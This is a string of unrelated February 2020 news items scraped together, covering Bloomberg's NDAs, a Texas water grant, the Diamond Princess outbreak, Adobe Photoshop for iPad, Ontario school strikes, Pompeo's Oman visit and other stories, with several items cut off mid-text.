speaking out. Bloomberg initially declined to release employees from these contracts, but has since changed course. On Friday, he offered to release women from three non-disclosure agreements with his media company if they wanted, and said his firm will no longer offer NDAs "to resolve claims of sexual harassment or misconduct going forward." This follows Warren hammering the topic again at a town hall hosted by CNN on Thursday, saying to make things "easy," she had created a document Bloomberg could sign to release employees who no longer want to be bound by these confidentiality agreements. "All that Mayor Bloomberg has to do is sign it. I'll text it," she said. Tweet NDAs have come under scrutiny in recent years, as the #MeToo movement spotlighted their use in sexual harassment disputes. When reached for comment on Thursday, Bloomberg's campaign chair touted the former mayor's history of hiring and promoting women. She said Bloomberg has "never tolerated any kind of discrimination or harassment." Many workers may be wondering just how common NDAs are, how they actually work, and what their rights are. We break it down below. Democratic presidential candidates (L-R) former New York City Mayor Mike Bloomberg and Sen. Elizabeth Warren (D-MA) speak during the Democratic presidential primary debate at Paris Las Vegas on February 19, 2020 in Las Vegas, Nevada. Six candidates qualified for the third Democratic presidential primary debate of 2020, which comes just days before the Nevada caucuses on February 22. Photo by Mario Tama/Getty Images What are NDAs? Currently, more than one-third of the U.S. workforce has been required by their employer to sign a nondisclosure agreement, reports the Harvard Business Review. These agreements, according to National Women's Law Center legal fellow Ramya Sekaran, "prevent workers from disclosing specific types of information about their employer when they're used in a workplace context." "Traditionally, companies use these nondisclosure agreements to protect trade secrets," she tells CNBC Make It. "But, since the 1980s we've seen that companies have expanded these nondisclosure agreements to prohibit workers from speaking up about a range of workplace conditions, which include harassment, discrimination and other types of violations of worker's rights." At some companies, employees are required to sign an NDA the minute they are hired in order to keep information about their employer confidential. Employees may also be asked to sign an NDA when they are terminated in exchange for severance pay, or in exchange for money after a sexual harassment or discrimination case has been settled. "Historically, when an employee brings some sort of complaint of workplace discrimination or sexual harassment action against the employer, there is a payment of a sum of money," explains Davida Perry, co-founder and managing partner of Schwartz Perry & Heller LLP in New York City. "[This means] the case either got settled voluntarily and a payment is made. Or, if the person filed something in court and it goes to trial and the employee wins, then a payment is made." In most cases, Perry says, an employer will only settle a case if an employee agrees to the confidential terms outlined in the NDA. What should you know before signing one? Perry, who has worked as an employment lawyer for more than 30 years, emphasizes that anyone who is asked to sign an NDA should know that they have the right to negotiate the terms of their agreement. Additionally, she says, any employee who is asked to sign an NDA upon being hired should be mindful of the type of work environment they may be walking into. "I don't want to throw everybody in one box," she says, "but I would think that if a company is very concerned about its employees talking about what goes on in the workplace then there's [probably] something going on in that workplace that they're worried about getting out." Sekaran adds that in addition to reading the details of your NDA carefully, you should also research whether or not your state has a law that protects your rights under these agreements. "We've seen 13 states that have taken steps to either ban the use of nondisclosure agreements as a condition of employment, as well as limit the use of NDAs in settlement separation or severance agreements," she explains. Since the start of the #MeToo movement in 2017, states like California, New York, Maryland, Arizona and many more have made adjustments to how employers can use nondisclosure agreements as it relates to employment, according to a 2019 report released by the National Women's Law Center. In New York, for example, Sekaran explains that employers are no longer able to include an NDA in settlement agreements involving discrimination, unless the employee prefers to have one. In the event that the employee does, they then have 21 days to consider the terms of the NDA. "It's important that in the context of settlement separation and severance agreements that NDAs are not banned completely and that victims of harassment or discrimination still have the option of requesting an NDA if that's what they truly want," says Sekaran, while adding that there should be guidelines "built into the law to ensure that the power imbalance between workers and their employer is addressed." How do you get out of an NDA? Police said they responded to a report of a vehicle collision in the area. When officers arrived, they found a man, later identified as Brian K. Woods, 44, of Silver Spring, outside the car and suffering from a gunshot wound. Police said Woods had been driving the car when it hit a parked vehicle. For 15 years, Mirando Citys water system has been in violation with the Texas Commission on Environmental Quality. Their water source is several miles away, three wells north of the city. For a while their capacity was not up to standard, but with the installation of a 60,000 gallon elevated storage tank last year, that has now been addressed. READ MORE: Laredo City Council approves citys $5M settlement from faulty El Pico water plant Now, with a $1 million Community Block Development Grant that was awarded to Webb County last month, plus a $200,000 contribution from the county, they can address the last two outstanding violations: the flow capacity from the wells to the storage tank and an outdated electrical phasing system. Webb County, U.S. Rep. Henry Cuellar and the Mirando City Water Supply Corporation announced the $1 million award Thursday, a record amount of CBDG funding for Webb County. Pct. 1 Commissioner Jesse Gonzalez recounted a conversation with Economic Development Director James Flores: They could only choose one project to apply for this funding. Gonzalez said he and Pct. 2 Commissioner Wawi Tijerina agreed that it had to be the water delivery infrastructure in Mirando City. Salvador Johnson, justice of the peace for Precinct 3 and president of the Mirando City Water Supply Corporation, has lived in Mirando City all his life. He said the issues are nothing noticeable to the consumer, but that the corporation has been written up by the TCEQ for these problems. The TCEQ has said they need to produce 180 gallons per minute to the tank, and that they are only producing about 140 gallons per minute, he said. We have been in violation because we have only one line that can we move water from the wells to our tanks in Mirando. All we could move is about 140 gallons per minute. Even though we have the well capacity, we did not have the water from the well, Johnson said. With this $1.2 million, the county will be able to completely redo the electrical pump and add a second water line parallel to the existing one, according to Flores. READ MORE: Accident reported at WBCA Youth Parade, stalling parade temporarily Its going to run about four miles. So we have to be able to trench, lay the line, and its going to be able to increase that capacity, he said. The president of Princess Cruises welcomed a coronavirus-quarantined ship by blowing kisses and making heart signs, captured on a video set to upbeat music and posted on social media the same day as reports of the deaths of two passengers had surfaced. In a video posted to the company's social media on Wednesday, Jan Swartz is seen wearing a surgical mask and forming heart hands over her head as the cruise ship finally begins to disembark after its passengers were forced to remain at a port in Yokohama, Japan for several weeks following a shipwide outbreak of the flu-like respiratory virus. The message says: "In a continued effort to support our #DiamondPrincess guests and crew, our President Jan Swartz personally welcomed those disembarking in Yokohama today. The entire Princess family is with each and every one of you during this time." On Wednesday, officials with the Japanese Ministry of Health confirmed the on-board deaths of an 87-year-old man and an 84-year-old woman, both stricken with the latest coronavirus that has claimed more than 2,000 lives and sickened thousands of others around the globe. Both had other health issues, officials said. Roughly 600 passengers who tested negative for the virus were allowed to leave the ship on Wednesday amid criticism that the the ship did not do enough to contain the outbreak. Another 600 people who were on board the ship have tested positive for the virus, accounting for nearly 20 per cent of the ship's 3,700 passengers and crew members. Hours before their scheduled departure, officials confirmed 79 additional cases onboard. Before the end of their quarantine on the ship, more than 300 Americans were evacuated by US officials and placed in US quarantine for two weeks in military bases in California and Texas. In a continued effort to support our #DiamondPrincess guests and crew, our President Jan Swartz personally welcomed those disembarking in Yokohama today. The entire Princess family is with each and every one of you during this time. #HangInThereDiamondPrincesspic.twitter.com/KgHANqKScp Princess Cruises (@PrincessCruises) February 20, 2020 Fourteen of those passengers tested positive for infection and were hospitalised. Story continues According to the Centers for Disease Control and Prevention, more than 60 Americans remain onboard the ship and are prevented from flying into the US until at least two weeks after they leave the ship. Read more London can host Olympics if moved Games move over coronavirus A short film depicting post-Coronavirus Wuhan has gone viral Quarantine enforced across entire city after super-spreading event Two cruise ship passengers die in Japan after contracting coronavirus Coronavirus claims first lives in Middle East as two die in Iran The World Health Organisation (WHO) on Wednesday, presented some Protective Preventive Equipment (PPEs) to the Ghana Health Service (GHS) as its contribution towards the management of the coronavirus (COVID-19) outbreak. The items included nose masks, gloves, goggles and protective clothing for use by frontline health professionals in their management of the COVID-19 outbreak, should Ghana record any cases. Dr Neema Rusibamayila Kimambo, the WHO Country Representative, who handed over the items to Dr Franklin Badu-Sarkodie, the Director, Public Health, said her outfit was satisfied with the level of professionalism exhibited by the countrys health authorities since the outbreak in China in 2019. He commended the Ministry of Health, the Ghana Health Service and all other stakeholders for their contributions towards the implementation of the various alert programmes and directives by the WHO. She said the WHO remained committed to supporting the country with technical and other assistance in all health issues, and urged the public to adhere to the safety and preventive measures such as regular hand washing with soap or rubbing alcohol, as well as spitting and coughing etiquettes, to prevent the spread of infections. Dr Badu-Sarkodie thanked the WHO for the gesture, and spoke about the various measures such as intensified surveillance and effective screening at the points of entry and public education, being pursued to prevent the COVID-19 from spreading into the country. He appealed to corporate institutions and individuals to complement the governments effort by donating to support the GHSs preparedness plan for COVID-19 and other similar disease outbreak and emergencies. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video This is ridiculous. What it appears hes doing is responding only to the people who have complained about him personally, she said. In my opinion, he cant separate that out. Hes the boss. Hes the owner. Its his shop, and if it happens in his shop, its on his watch. It doesnt matter if it wasnt him. He sets the tone. Arthur Darvill and Karen Gillan as Rory and Amy (Credit: BBC) Chris Chibnall, the producer and writer behind Doctor Who, has said that he wants to bring back some of the series' classic sidekicks. Chibnall, who worked as a writer under previous showrunners Russell T. Davies and Steven Moffatt, revealed yesterday that he'd be back for a third series of the veteran sci-fi show. Read more: Chris Chibnall confirms third series of Doctor Who And speaking to the Radio Times, he's said that he's up for plumbing back into the show's catalogue of characters in future episodes. To be honest, the canon of Doctor Who is filled with amazing characters, he said. Id love to see Ace back, Id love to see Tegan back, Id love to see Amy and Rory the list goes on. Chris Chibnall (Credit: Chris Pizzello/Invision/AP) Guardians of the Galaxy and Avengers star Karen Gillan played Amy Pond in the fifth and seventh series, alongside Matt Smith's Time Lord. She was coupled on the show with her fiance Rory Williams, played by Arthur Darvill. Chibnall also said that characters from much further back in Whovian lore continue to inspire him. I would really love to bring back Sarah-Jane, he added. People working on the show now worked with Lis Sladen and everybody still remembers her so fondly and talks about her a lot. I would love to see her with the 13th Doctor. Read more: Doctor Who rejected Stephen Kings son I would love to have brought back Harry Sullivan too, played by the wonderful Ian Marter from Tom Bakers first season. I would have loved to see Sarah and Harry nowadays to check in with them. Its a credit to those actors. They are indelible in my life and memories and those of many others. Its so sad that theyre not with us anymore. Chibnall brought back John Barrowman's Captain Jack Harkness this series, in the episode Fugitive of the Judoon. Jodie Whittaker, Chibnall's Doctor since the 11th series, has also confirmed that she'll be back for series 13 next year. Adobe has a long history of serving its suite of advanced applications to professionals. But as its flagship photo-editing application Photoshop turns 30, one of the most enduring challenges still remains: How does the software giant make its apps accessible to the rest of us? It's a question of finding a balance that makes sure it is accessible to new users without being dumbed down so much it infuriates power users. Its a difficult balance," says Adobe Executive Vice President Bryan Lamkin. "Photoshop is our most iconic brand. Because of its broad appeal, we get a lot of non-professional customers who come into the franchise and many of them meet with success. We provide training and built-in tutorials and they're meeting with more and more success. "They're kind of responding to the siren call of creativity, you know, but they get into Photoshop and it's like an imaging operating system that can be very complex and daunting. "I think on the desktop side we're always looking for ways to turn complex processes into a simpler process but the last thing we want to do is take the power away in the process. One thing we're not willing to do is compromise the professional impact that product has. Gadget and tech news: In pictures Show all 25 1 /25 Gadget and tech news: In pictures Gadget and tech news: In pictures Gun-toting humanoid robot sent into space Russia has launched a humanoid robot into space on a rocket bound for the International Space Station (ISS). The robot Fedor will spend 10 days aboard the ISS practising skills such as using tools to fix issues onboard. Russia's deputy prime minister Dmitry Rogozin has previously shared videos of Fedor handling and shooting guns at a firing range with deadly accuracy. Dmitry Rogozin/Twitter Gadget and tech news: In pictures Google turns 21 Google celebrates its 21st birthday on September 27. The The search engine was founded in September 1998 by two PhD students, Larry Page and Sergey Brin, in their dormitories at Californias Stanford University. Page and Brin chose the name google as it recalled the mathematic term 'googol', meaning 10 raised to the power of 100 Google Gadget and tech news: In pictures Hexa drone lifts off Chief engineer of LIFT aircraft Balazs Kerulo demonstrates the company's "Hexa" personal drone craft in Lago Vista, Texas on June 3 2019 Reuters Gadget and tech news: In pictures Project Scarlett to succeed Xbox One Microsoft announced Project Scarlett, the successor to the Xbox One, at E3 2019. The company said that the new console will be 4 times as powerful as the Xbox One and is slated for a release date of Christmas 2020 Getty Gadget and tech news: In pictures First new iPod in four years Apple has announced the new iPod Touch, the first new iPod in four years. The device will have the option of adding more storage, up to 256GB Apple Gadget and tech news: In pictures Folding phone may flop Samsung will cancel orders of its Galaxy Fold phone at the end of May if the phone is not then ready for sale. The $2000 folding phone has been found to break easily with review copies being recalled after backlash PA Gadget and tech news: In pictures Charging mat non-starter Apple has cancelled its AirPower wireless charging mat, which was slated as a way to charge numerous apple products at once AFP/Getty Gadget and tech news: In pictures "Super league" India shoots down satellite India has claimed status as part of a "super league" of nations after shooting down a live satellite in a test of new missile technology EPA Gadget and tech news: In pictures 5G incoming 5G wireless internet is expected to launch in 2019, with the potential to reach speeds of 50mb/s Getty Gadget and tech news: In pictures Uber halts driverless testing after death Uber has halted testing of driverless vehicles after a woman was killed by one of their cars in Tempe, Arizona. March 19 2018 Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures The giant human-like robot bears a striking resemblance to the military robots starring in the movie 'Avatar' and is claimed as a world first by its creators from a South Korean robotic company Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi Rex Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi and Kaptain Rock playing one string light saber guitar perform jam session Rex Gadget and tech news: In pictures A test line of a new energy suspension railway resembling the giant panda is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A test line of a new energy suspension railway, resembling a giant panda, is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A concept car by Trumpchi from GAC Group is shown at the International Automobile Exhibition in Guangzhou, China Rex Gadget and tech news: In pictures A Mirai fuel cell vehicle by Toyota is displayed at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A visitor tries a Nissan VR experience at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A man looks at an exhibit entitled 'Mimus' a giant industrial robot which has been reprogrammed to interact with humans during a photocall at the new Design Museum in South Kensington, London Getty Gadget and tech news: In pictures A new Israeli Da-Vinci unmanned aerial vehicle manufactured by Elbit Systems is displayed during the 4th International conference on Home Land Security and Cyber in the Israeli coastal city of Tel Aviv Getty The challenge, perhaps, is how you take that impact when you have to reinvent the program on a new device, as Adobe did last year with the arrival of Photoshop for iPad. Suddenly, Photoshop had to work with a touch interface. Touch and accessibility mean we have different opportunities and we're not as constrained by the exact user interface metaphors that we have on the desktop, Lamkin says. We've tried to strike the balance of keeping many of those themes alive such as layers and layer masks and transfer modes that people know are the heart of Photoshop. "At the same time, if you just spend five minutes to understand the key gestures in the application, those gestures will apply uniformly across the application. All the powers there. We've moved the engine but we haven't moved the user interface framework. Weve made sure to lift the metaphors that we really want to keep alive on the iPad. The initial release of Photoshop for iPad was met with mixed reviews, to which Adobe responded with a blog post insisting that the company was listening and detailing some of the changes that were on the way. Recommended Photoshop mistake shows Australian PM with two left feet To celebrate the thirtieth birthday, Adobe has just announced new features for the desktop version, such as improvements to lens blur effects, performance improvements to discover a more buttery and seamless mouse experience. For the iPad version, the new elements include type settings, which addresses earlier worries users had, and an object selection tool which was only released for the desktop version a few months ago. In other words, the iPad version is adding desktop features, and fast. Back to Lamkin: what does he mean when he refers to metaphors? Well, take something as fundamental to Photoshop as masking," he says. "To mask a layer on the desktop product is something that you can approach in three or four different ways. Do we want to offer three or four different approaches on the iPad? I don't think so. "The metaphor of layer masks is something that's really critical to compositing. How do we reveal that in a way that is appropriate for that device and appropriate for new classes of customers? Bryan Lamkin, Adobe Executive Vice President, first joined the company seven years ago (Adobe) One way of keeping things simple for newcomers is the way Adobe progressively reveals functionality. Sure, as opposed to having 12 different options show up in the menu bar, we express things in a way that's more appropriate for the device and the users who are going to come to that for the first time on the iPad. Is that Photoshop newbie the customer who is Adobes main priority with iPad? Adobe has made a big focus on accessibility and on different programs working together, so is accessibility or integration more important? Lamkn pauses and says: I'd say our top two priorities are building a great multi-surface workflow for Photoshop customers and paying close attention to established Photoshop customers who want to add a touch device to their workflow, to be able to work anywhere, regardless of what device they're working on. But we also want to acquire new customers who are really primary to that device. We dont want to make any horrendous trade-offs in our iPad implementation of the product. Its a journey, then, which is also a useful response to some of those initial reviews. We've chosen to really focus on enabling the key workflows and use cases that are the most compelling out of the gates and to add additional use cases as we go, as opposed to trying to boil the ocean and deliver everything all at once until we understand how people actually use it. With something like Photoshop thats been going for so long, creating that blank canvas must be quite a daunting part of the design with the new iPad version. Lamkin nods. Oh, its a heavy lift. We've been at we've been at it for three-and-a-half years. A lot of experimentation with how much risk do we take in delivering a new experience at the risk of not fully satisfying the existing customer base. It's not something we took lightly and it's something that the team worked for a couple years to get to. Finally, Lamkin talks about the person coming to Photoshop for the first time on the iPad. What would he want the first big takeaway from trying Photoshop on the iPad to be? Approachability and delight, he says. It's like I open this up and within 10 minutes Ive familiarized myself with the application and the language and how I need to approach it to get the most out of it and I'm delighted by what I can do just out of the gate. "I want users to after 10-15 minutes session have done something that they're proud of. Im not saying that they're going to learn the whole application, but theyll say, hey, I understand how layers work and I've been able to do a composite and, boom, I got something magical I just created. "Creativity should be light, there should be a lightheartedness in this application too. There should be a sense of discovery as you're exploring, and the tools need to facilitate that by getting out of the way. That's our goal, to build tools that get out of the way. MARIETTA, Ga., Feb. 20, 2020 (GLOBE NEWSWIRE) -- BlueLinx Holdings Inc. (NYSE: BXC), a leading distributor of building and industrial products in the United States (the Company), responded today to a press release issued by an investment firm that goes by the name of Bluefin Acquisitions, LLC. In its press release, Bluefin Acquisitions claimed that it was making a tender offer to acquire at least 35% of the Companys common stock at a price of $24.50 per share. The Company was not aware of this purported offer. Upon learning of the press release and not being able to verify that it was a legitimate offer, the NYSE halted trading in the Companys stock for the remainder of the trading day. We expect that trading will resume tomorrow, February 21, when the market opens. The Company is not able to assess the validity of the purported offer. The Company believes that the purported offerors actions may be false and misleading in violation of the U.S. securities laws because they failed to comply with the filing and disclosure requirements. We urge public investors to carefully scrutinize any further communications from the purported offeror and rely only on tender offer materials that are properly filed with the U.S. Securities and Exchange Commission. Unless and until a valid tender offer is made, the Company will not comment further regarding the actions of the purported offeror. About BlueLinx Holdings Inc. BlueLinx (NYSE: BXC) is a leading wholesale distributor of building and industrial products in the United States with over 50,000 branded and private-label SKUs, and a broad distribution footprint servicing 40 states. BlueLinx has a differentiated distribution platform, value-driven business model and extensive cache of products across the building products industry. Headquartered in Marietta, Georgia, BlueLinx has over 2,200 associates and distributes its comprehensive range of structural and specialty products to approximately 15,000 national, regional, and local dealers, as well as specialty distributors, national home centers, industrial, and manufactured housing customers. BlueLinx encourages investors to visit its website, www.BlueLinxCo.com, which is updated regularly with financial and other important information about BlueLinx. Contacts Susan OFarrell, SVP, CFO & Treasurer BlueLinx Holdings Inc. (770) 953-7000 Mary Moll, Investor Relations (866) 671-5138 investor@bluelinxco.com Forward-Looking Statements This press release contains forward-looking statements. Forward-looking statements include, without limitation, any statement that predicts, forecasts, indicates or implies future results, performance, liquidity levels or achievements, and may contain the words believe, anticipate, expect, estimate, intend, project, plan, will be, will likely continue, will likely result or words or phrases of similar meaning. Forward-looking statements in this press release are based on estimates and assumptions made by our management that, although believed by us to be reasonable, are inherently uncertain. Forward-looking statements involve risks and uncertainties that may cause our business, strategy, or actual results to differ materially from the forward-looking statements. These risks and uncertainties include those listed under the heading Risk Factors in Item 1A of our Annual Report on Form 10-K for the year ended December 29, 2018, and those discussed in our Quarterly Reports on Form 10-Q and in our periodic reports led with the SEC from time to time. Given these risks and uncertainties, we caution you not to place undue reliance on forward-looking statements. We expressly disclaim any obligation to update or revise any forward-looking statement as a result of new information, future events or otherwise, except as required by law. Time over, Edward Kenneth Lord painted a picture to police investigating the death of his wife of a harmonious and loving marriage. In the hours leading up to him driving his wifes Nissan coupe into the Tweed River, near Tumbulgum, on the NSW far north coast - "an intentional but spontaneous act," a judge said on Friday - the pair had gone for a country drive, shopping in Byron Bay, and eaten dinner at a pizza restaurant. He said that he had taken his eyes off the road to look at his wife, Michele, who was showing him pictures on her phone, the moment the car lost control on the Tweed Valley Way and came to rest on its roof 4.4 metres beneath the surface of the Tweed River on the night of October 18, 2015. "We were driving along having a laugh. The front left wheel slipped on the verge. I thought it'd just spin out of control in a paddock," Lord told investigators. The slow drip of school strikes across Ontario, now in its third month, is affecting different families in different ways, but one group is really feeling the pressure. New Canadians struggling to gain a foothold here often have fewer resources to spend on private or city-run day camps. Their employers may be less flexible than federal government workplaces, with their generous family leave and work-from-home policies. And the grandparents might be thousands of kilometres away instead of just across town. A visit to an ESL class at Ottawa's Westgate Shopping Centre offers a glimpse into the unique challenges facing these parents when their kids' teachers walk off the job. I go from 21 people to about four people in my class. It's really bad. -Jane Maxwell, ESL teacher at Graybridge Malkam Graybridge Malkam's Jane Maxwell teaches English to students from countries around the world including Syria, Colombia, Afghanistan and the United Arab Emirates. She sees the impact of a school strike day first hand. "Oh, it's huge. Literally, I go from 21 people to about four people in my class. It's really bad," Maxwell said. Hallie Cotnam/CBC In a bid to keep those parents learning, Maxwell has started offering an online component for parents who have to stay home with their school-age kids "It's slowing them down so much. Some of the people I've seen maybe two or three times this month because a lot of my people have children in the Catholic board and the public board, and so they're staying home for both of them." It's posing a challenge for Maxwell also. "You cannot move forward. It's not fair to do a test when people aren't here because it's not their fault that they're not here. So you're always juggling," she said. "I have couples who [trade] off. One will stay home one time, and the other will stay home the next. But they're still only getting half the work." Story continues Hallie Cotnam/CBC Eugene Litoschenko and his family came to Canada from Ukraine two years ago. His wife is a licensed hair-stylist and Litoschenko, who has a master's degree in economics, is studing ESL full time with the goal of becoming a real estate agent. On strike days, he's the one who stays home with their kids, seven and five. I can't study at home because I have two kids. Every 10 seconds, 'Daddy, look at this! Daddy, play with me!' - Eugene Litoschenko, ESL student "I can't study at home because I have two kids. Every 10 seconds, 'Daddy, look at this! Daddy, play with me! Daddy, make something!' OK, yes, I want to make them happy. It's so hard to study at this moment. It's frustrating, 100 per cent. It's not an effective way to study." Shi Wang Pang, who came to Canada from China 10 years ago, brings her two-year-old son to the onsite daycare at the language school while her 11-year-old daughter attends Grade 6 at a French immersion school. Shi Wang, who's been working as a labourer while her husband works full time at a restaurant, wants to attend college or university down the road. Hallie Cotnam/CBC But on strike days, she must stay home with her children, making it difficult to take advantage of her teacher's online lessons. "When I open the computer, my little boy pushes the buttons. My daughter, she stays home. I don't want her to watch TV all day, watch the iPad. I want to take her out, to skate, to go sliding." Abdessalem Khalladi and his wife arrived from Tunisia seven months ago with their three kids, ages 12, 10 and eight. Khalladi, who was a mechanical engineer and a teacher back home, is learning English help find work in his field here in Ottawa. His wife is also enrolled in ESL. On strike days, they take turns staying home. Like his classmates, Khalladi finds it difficult to study home when the kids are underfoot. Abdessalem Khalladi Khalladi said the strikes have an impact on all members of his family, including his kids. "If you're going to school, and then stop, going, and then stop, it's a big problem. It's trouble for my kids," he said. "When you start a task, no matter what kind, and you're interrupted, it's very difficult to obtain your objective." Neither Litoshenko, Shi Wang nor Khalladi have parents in Canada, so there are no grandparents to turn to for help on strike days. Expensive day camps aren't an option for them either. Litoshenko said he wishes school boards would offer a day program for students on strike days "no lessons, just play, and staffed by volunteers" so parents can go to work and ESL students can work on becoming fluent. Hallie Cotnam/CBC The City of Ottawa offers full day camps on days when students are out of school, including 10 school strike days as of Friday, at up to 20 sites across the city. The cost is $40 per day. If that fee is a barrier for families, the city can help. "They can come in person to their nearest City of Ottawa recreation facility and inquire about the Hand in Hand program," said Carly Haydt, a recreation supervisor responsible for the Heron Road Community Centre and the Jim Durrell Recreation Complex. DUBAI, United Arab Emirates - U.S. Secretary of State Mike Pompeo met Friday with the new ruler of Oman, a Gulf Arab country that has close ties with both Washington and Tehran and that has previously provided a back channel for talks between the adversaries. Pompeos stop in Oman to meet Sultan Haitham bin Tariq Al Said is the highest level U.S. visit to the country since he was selected successor to longtime ruler Sultan Qaboos bin Said, who died Jan. 10 after 50 years in power. Oman supported the Obama administrations nuclear agreement with Iran and world powers, from which President Donald Trump withdrew the U.S. Oman, like other Gulf Arab countries, is concerned that rising tensions in the region and the Trump administrations maximum pressure campaign against Iran could harm tourism and economic growth, and impact the flow of oil through the narrow Strait of Hormuz and Gulf of Oman. The new sultan of Oman has v owed to uphold his predecessors foreign policy approach, which was based on non-interference. Oman did not join Saudi Arabia and the United Arab Emirates in their war in Yemen, keeping its border open with the impoverished country. It also did not join in a Saudi and UAE-led blockade against Qatar. While a member of the Gulf Cooperation Council, Oman has maintained ties with Iran and hosted Israeli Prime Minister Benjamin Netanyahu in a surprise visit in late 2018. Omans foreign affairs minister, Yusuf bin Alawi Abdullah, greeted Pompeo upon his arrival in Muscat on Friday. He has been quoted as saying that his government is in touch with the U.S. and Iran and believes the possibility exists for dialogue between them. Pompeos visit to Oman is only several hours long, before departing back to the U.S. He travelled to Oman from Saudi Arabia, where over two days he met King Salman, visited a sprawling desert air base housing some 2,500 U.S. troops and held a more than two-hour meeting, that included dinner, with Crown Prince Mohammed bin Salman. The State Department said Pompeo and the crown prince discussed threats from Iran, the Saudi-led war in Yemen, the situation in Iraq, Syria and Lebanon, and the need for Gulf unity, an apparent reference to the political stalemate between Qatar and its Arab neighbours. Pompeo assured the crown prince that the United States stands with Saudi Arabia in the face of Iranian threats, the State Department said. The State Department said the two also discussed U.S. concerns about human rights. Pompeo had said he would likely raise with Saudi authorities the case of a Saudi-American doctor facing trial who has been barred from leaving the kingdom and allegedly tortured. Members of Congress had called on Pompeo to raise the case during his visit to Saudi Arabia. The Boston-area physician is one of several dual Saudi-American citizens either imprisoned or barred from leaving Saudi Arabia in cases related to a wider crackdown against critics and perceived foes of the crown prince. The princes reputation was tarnished internationally after the killing of Washington Post columnist Jamal Khashoggi in 2018. A critic of the crown prince, Khashoggi was living in exile and writing about the princes crackdown on critics and activists when agents who worked for the Saudi prince killed and dismembered him inside the Saudi consulate in Istanbul. Following are the latest Corporate Social Responsibility news releases and story ideas available from Business Wire. These recaps, curated by Business Wire, provide reporters and bloggers around the globe instant access to the latest news releases, providing relevant and trending content to share with their audiences. Discover more news via Business Wires Hot Topic recaps or create a custom news feed specific to your needs here. This service is provided at no charge to members of the media and financial communities. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200220005122/en/ CHICAGO -- World of Hyatt Extends Tier Status and Benefits, Advancing Care for Members During COVID-19 Source: Hyatt PASADENA, Calif. -- Michelle Marquez of Marquez Private Wealth Management Hosts Local Families in Need, Heart of Angels Seeks Partners and Volunteers For 2020 Source: Heart of Angels CHICAGO -- Ventas Becomes First S&P 500 REIT Signatory to the United Nations Global Compact Source: Ventas RALEIGH, N.C. -- IAT Insurance Group to Help its Employees Accelerate the Repayment of Their College Loan Debt Source: IAT Insurance GREENFIELD, Ind. -- Elancos East Africa Growth Accelerator Delivers $8+ Million in Socio-Economic Value for Smallholder Farmers in East Africa, Progress Against Sustainable Development Goals Source: Elanco Animal Health Incorporated AMSTERDAM -- Tommy Hilfiger Celebrates a More Inclusive Fashion Landscape at Second Edition of Tommy Hilfiger Fashion Frontier Challenge Source: PVH Corp. LA PLATA, Md. -- The Wills Group Releases Community Engagement Report Highlighting 2019 Accomplishments and Progress Across the Mid-Atlantic Region Source: The Wills Group, Inc. MINNEAPOLIS -- nVent Foundation Grants Support Youth STEM Education Source: nVent HAMILTON, Bermuda -- Bacardi Limited Paves the Way For A Good Spirited Future Source: Bacardi Limited About Business Wire Business Wire, a Berkshire Hathaway company, is the global leader in news release distribution and regulatory disclosure. Investor relations, public relations, public policy and marketing professionals rely on Business Wire for secure and accurate distribution of market-moving news and multimedia. Founded in 1961, Business Wire is a trusted source for news organizations, journalists, investment professionals, and regulatory authorities, delivering news directly into editorial systems and leading online news sources via its multi-patented NX Network. Business Wire has 18 newsrooms worldwide to meet the needs of communications professionals and news media. Learn more at www.businesswire.com. Follow us on Twitter @businesswire. View source version on businesswire.com: https://www.businesswire.com/news/home/20200220005122/en/ Bollywood actor Shilpa Shetty and her husband Raj Kundra have welcomed a new member to their family - a baby girl whom they named Samisha Shetty Kundra. The couple welcomed their second child on February 15. According to various reports, they had the child through surrogacy. The actor broke the news through social media. "Born: February 15, 2020 ~ Please bestow our angel with all your love and blessings ~ Ecstatic parents: Raj and Shilpa Shetty Kundra," Shilpa posted on her Twitter account along with a cute picture that featured the newborn baby, who held Shilpa's finger. A similar post was shared on her Instagram account. "Our prayers have been answered with a miracle. With gratitude in our hearts we are thrilled to announce the arrival of our little Angel. Samisha Shetty Kundra. Born on 15th February 2020 Junior SSK in the house," read the caption of the post. Later in the post, Shetty even explained why she named her daughter Samisha. "'Sa' in Sanskrit is "to have", and 'Misha' in Russian stands for "someone like God," she explained. The couple has a son named Viaan who was born in May 2012. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Individual who died was graduate student at Rensselaer Polytechnic Institute: Rensselaer Polytechnic Institute A college student was found dead in his home of the flu after a garbled 911 call left rescuers with no means of locating him, authorities said. Police and firefighters in Troy, New York, spent 45 minutes on Feb. 10 searching the City Station apartment complex where Rensselaer Polytechnic Institute graduate student Yeming Shen lived and left without finding him. Nearly six hours later, his roommate arrived to find him dead from the flu. An autopsy determined the student had influenza A, officials said. Emergency dispatch systems struggle to deliver the precise location of cellphone users a quarter-century after the devices became commonplace, the Times Union reports. The system was able to provide a general location of Sixth Avenue, which included two five-story apartment buildings. Five officers, three firefighters and a police dog searched the common areas on each floor but only had his cellphone number to go on and could not locate his apartment, authorities said. -Associated 